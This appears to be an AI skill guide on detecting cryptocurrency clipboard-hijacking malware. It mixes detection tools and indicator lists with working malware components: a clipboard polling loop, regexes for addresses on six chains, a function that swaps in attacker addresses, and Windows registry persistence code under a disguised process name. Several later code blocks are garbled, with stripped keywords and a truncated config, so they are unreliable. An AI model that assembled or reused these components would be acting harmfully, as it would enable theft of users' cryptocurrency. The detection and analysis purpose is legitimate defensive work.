| name | crypto-clipper-malware-detection |
| description | Detect and analyze cryptocurrency clipboard hijacking malware patterns, regex-based address detection, and cross-platform clipboard monitoring techniques |
| triggers | ["how do I detect crypto clipboard malware","analyze cryptocurrency address clipper patterns","identify clipboard hijacking techniques","validate crypto address regex patterns","detect malicious clipboard monitoring","analyze crypto clipper behavior","identify cryptocurrency address replacement malware","understand clipper malware detection"] |
Crypto Clipper Malware Detection
Skill by ara.so — Devtools Skills collection.
⚠️ Security Notice
This project is MALWARE designed to steal cryptocurrency by hijacking clipboard contents. It is documented here ONLY for:
- Security research and malware analysis
- Building detection mechanisms
- Understanding attack patterns for defensive purposes
- Educational cybersecurity training
DO NOT deploy this for malicious purposes. Doing so is illegal and unethical.
What This Project Does
Crypto-Clipper is a cross-platform clipboard monitoring malware that:
- Monitors clipboard continuously via polling (default 500ms intervals)
- Detects cryptocurrency addresses using regex patterns for BTC, ETH, SOL, TRX, LTC, DOGE
- Replaces detected addresses with attacker-controlled addresses from an address book
- Validates formats including EIP-55 checksum, Base58, SegWit, Taproot
- Logs activity to track successful replacements
- Persistence mechanisms via Windows registry auto-start hooks
- Process disguise by masquerading as legitimate system processes
Detection Patterns
Clipboard Monitoring Behavior
The malware uses pyperclip polling with background threads:
import pyperclip
import time
import threading
def monitor_clipboard(interval_ms=500):
"""Malicious clipboard monitoring pattern"""
last_content = ""
while True:
try:
current = pyperclip.paste()
if current != last_content:
process_clipboard_content(current)
last_content = current
except:
pass
time.sleep(interval_ms / 1000)
Detection indicators:
- Continuous pyperclip.paste() calls in tight loop
- Background thread dedicated to clipboard monitoring
- No user-initiated triggers for clipboard access
Cryptocurrency Address Regex Patterns
CRYPTO_PATTERNS = {
"bitcoin": {
"legacy": r"^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$",
"segwit": r"^bc1q[a-z0-9]{38,58}$",
"taproot": r"^bc1p[a-z0-9]{58}$"
},
"ethereum": {
"evm": r"^0x[a-fA-F0-9]{40}$"
},
"solana": {
"base58": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
},
"tron": {
"base58": r"^T[1-9A-HJ-NP-Za-km-z]{33}$"
},
"litecoin": {
"legacy": r"^[LM][a-km-zA-HJ-NP-Z1-9]{26,33}$",
"segwit": r"^ltc1[a-z0-9]{39,59}$"
},
"dogecoin": {
"legacy": r"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$"
}
}
Address Replacement Engine
def inject_malicious_address(detected_chain, original_address):
"""
MALWARE BEHAVIOR: Replaces legitimate crypto addresses
"""
address_book = load_address_book()
for entry in address_book:
if entry["chain"] == detected_chain:
malicious_addr = entry["address"]
pyperclip.copy(malicious_addr)
log_replacement(original_address, malicious_addr, detected_chain)
return True
return False
Configuration Structure
The malware uses config.json for operational parameters:
{
"build": {
"target_os": "windows",
"output_name": "clip_monitor.exe",
"process_name": "rdpclip",
"startup_method": "registry",
"registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
},
"chains": {
"bitcoin": {
"enabled": true,
"prefix": ["1", "3", "bc1"]
},
"ethereum": {
"enabled": true,
"prefix":
Detection indicators:
- Address book with multiple crypto chains
- Registry persistence configuration
- Process name disguise settings
- Clipboard polling interval configuration
Persistence Mechanisms
Windows Registry Auto-Start
import winreg
import os
def install_persistence(exe_path, disguise_name="rdpclip"):
"""
MALWARE BEHAVIOR: Registry-based persistence
"""
reg_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
try:
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
reg_key,
0,
winreg.KEY_SET_VALUE
)
winreg.SetValueEx(
key,
disguise_name,
0,
winreg.REG_SZ,
exe_path
)
winreg.CloseKey(key)
return True
except Exception as e:
return False
Detection indicators:
- Unauthorized registry modifications in Run keys
- Process names mimicking system processes (rdpclip, svchost, etc.)
- Executable paths in unexpected locations
Building Defensive Tools
Address Validation Function
import re
def validate_crypto_address(address, chain):
"""
Defensive: Validate crypto address format before use
"""
patterns = {
"bitcoin": r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$",
"ethereum": r"^0x[a-fA-F0-9]{40}$",
"solana": r"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
}
if chain not in patterns:
return False
return bool(re.match(patterns[chain], address))
Clipboard Monitoring Detection
import psutil
import time
def detect_clipboard_monitoring_processes():
"""
Security tool: Identify processes with suspicious clipboard access
"""
suspicious_indicators = []
for proc in psutil.process_iter(['name', 'cmdline', 'num_threads']):
try:
cmdline = ' '.join(proc.info['cmdline'] or [])
if 'pyperclip' in cmdline.lower():
suspicious_indicators.append({
'pid': proc.pid,
'name': proc.info['name'],
'cmdline': cmdline,
'reason': 'Pyperclip usage detected'
})
disguise_names = ['rdpclip', 'clipman', 'clip_monitor']
if proc.info['name'].lower() in disguise_names:
if not is_legitimate_system_process(proc):
suspicious_indicators.append({
'pid': proc.pid,
'name': proc.info['name'],
'reason': 'Disguised process name'
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
suspicious_indicators
Address Book Comparison Tool
import difflib
def detect_address_replacement(original, current):
"""
Security tool: Detect if clipboard address was replaced
Returns: (is_replaced, similarity_score, chain_type)
"""
chains = ["bitcoin", "ethereum", "solana", "tron"]
original_chain = None
current_chain = None
for chain in chains:
if validate_crypto_address(original, chain):
original_chain = chain
if validate_crypto_address(current, chain):
current_chain = chain
if original_chain and current_chain and original_chain != current_chain:
return (True, 0.0, f"{original_chain} -> {current_chain}")
if original_chain == current_chain and original != current:
similarity = difflib.SequenceMatcher(None, original, current).ratio()
return (True, similarity, original_chain)
return (False, 1.0, None)
Malware Analysis Workflow
1. Static Analysis
import json
import os
def analyze_clipper_config(config_path):
"""
Analyze clipper configuration for threat assessment
"""
with open(config_path, 'r') as f:
config = json.load(f)
report = {
"targeted_chains": [],
"persistence_methods": [],
"attacker_addresses": [],
"disguise_techniques": [],
"risk_level": "UNKNOWN"
}
for chain, settings in config.get("chains", {}).items():
if settings.get("enabled"):
report["targeted_chains"].append(chain)
for entry in config.get("address_book", []):
report["attacker_addresses"].append({
"chain": entry["chain"],
"address": entry["address"],
"label": entry.get("label", "")
})
if config.get("build", {}).get("startup_method") == "registry":
report["persistence_methods"].append("Windows Registry Run Key")
process_name = config.get("build", {}).get(, )
process_name:
report[].append()
num_chains = (report[])
num_addresses = (report[])
num_chains >= num_addresses >= :
report[] =
num_chains >= :
report[] =
:
report[] =
report
2. Dynamic Analysis (Sandboxed)
import subprocess
import json
from datetime import datetime
def sandbox_clipper_execution(clipper_path, duration_seconds=60):
"""
Run clipper in monitored sandbox environment
WARNING: Only run in isolated VM/container
"""
log = {
"start_time": datetime.now().isoformat(),
"clipboard_access_count": 0,
"registry_modifications": [],
"network_connections": [],
"file_operations": []
}
return log
Common Detection Evasion Techniques
The malware employs several evasion strategies:
- Process Name Disguise: Mimics legitimate Windows processes (rdpclip, svchost)
- Low Polling Frequency: Configurable intervals to reduce CPU footprint
- Silent Failures: Catches all exceptions to avoid crashes
- Legitimate-Looking Paths: Uses system directories for deployment
- No Network Activity: Purely local operation to avoid firewall alerts
Defensive Measures
User-Level Protection
import hashlib
import time
class ClipboardProtector:
"""
User-level clipboard protection against hijacking
"""
def __init__(self):
self.last_hash = None
self.verification_window_ms = 1000
def protect_copy(self, text):
"""
Copy with verification to detect replacement
"""
import pyperclip
pyperclip.copy(text)
time.sleep(0.1)
actual = pyperclip.paste()
if actual != text:
raise SecurityException(
f"Clipboard hijacking detected!\n"
f"Expected: {text[:20]}...\n"
f"Found: {actual[:20]}..."
)
self.last_hash = hashlib.sha256(text.encode()).hexdigest()
return True
def verify_clipboard(self):
"""
Periodic verification of clipboard contents
"""
import pyperclip
current = pyperclip.paste()
current_hash = hashlib.sha256(current.encode()).hexdigest()
if .last_hash current_hash != .last_hash:
():
System-Level Detection
import os
import winreg
def scan_for_clipper_persistence():
"""
Scan Windows registry for clipper persistence entries
"""
suspicious_entries = []
reg_locations = [
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run"),
(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run"),
]
for root_key, subkey_path in reg_locations:
try:
key = winreg.OpenKey(root_key, subkey_path, 0, winreg.KEY_READ)
i = 0
while True:
try:
name, value, _ = winreg.EnumValue(key, i)
suspicious_keywords = ['clip', 'monitor', 'rdpclip', 'clipman']
if any(kw in name.lower() for kw in suspicious_keywords):
if not is_legitimate_path(value):
suspicious_entries.append({
'location': f"{root_key}\\{subkey_path}",
'name': name,
'path': value
})
i += 1
except OSError:
break
winreg.CloseKey(key)
except FileNotFoundError:
suspicious_entries
():
system_paths = [
os.environ.get(, ),
os.path.join(os.environ.get(, )),
os.path.join(os.environ.get(, ))
]
sys_path system_paths:
path.lower().startswith(sys_path.lower()):
Indicators of Compromise (IOCs)
File System Indicators
IOC_FILE_PATTERNS = [
"clip_monitor.exe",
"rdpclip.exe (in non-system paths)",
"config.json (with address_book entries)",
"scan.bin (embedded runtime)",
"*.log (with crypto address patterns)"
]
Network Indicators
IOC_NETWORK_PATTERNS = [
"HTTP POST with base64-encoded crypto addresses",
"Connections to crypto validation APIs",
"TLS connections with clipboard data in payload"
]
Behavioral Indicators
BEHAVIORAL_IOCS = {
"clipboard_polling": "High-frequency pyperclip.paste() calls",
"registry_modification": "Unauthorized Run key entries",
"process_disguise": "Non-system process with system process name",
"address_replacement": "Clipboard crypto address changes without user action",
"silent_execution": "No visible UI but continuous background activity"
}
Responsible Disclosure
If you discover this malware active in the wild:
- Do not engage with the malware directly
- Document the configuration, addresses, and behavior
- Report to relevant cryptocurrency exchanges to flag attacker addresses
- Notify antivirus vendors with samples for signature updates
- Alert affected users through appropriate channels
Conclusion
This skill provides the knowledge to detect and analyze cryptocurrency clipboard hijacking malware. Use this information exclusively for:
- Security research
- Building defensive tools
- Educating users about threats
- Improving detection mechanisms
Never deploy clipboard hijacking malware for malicious purposes.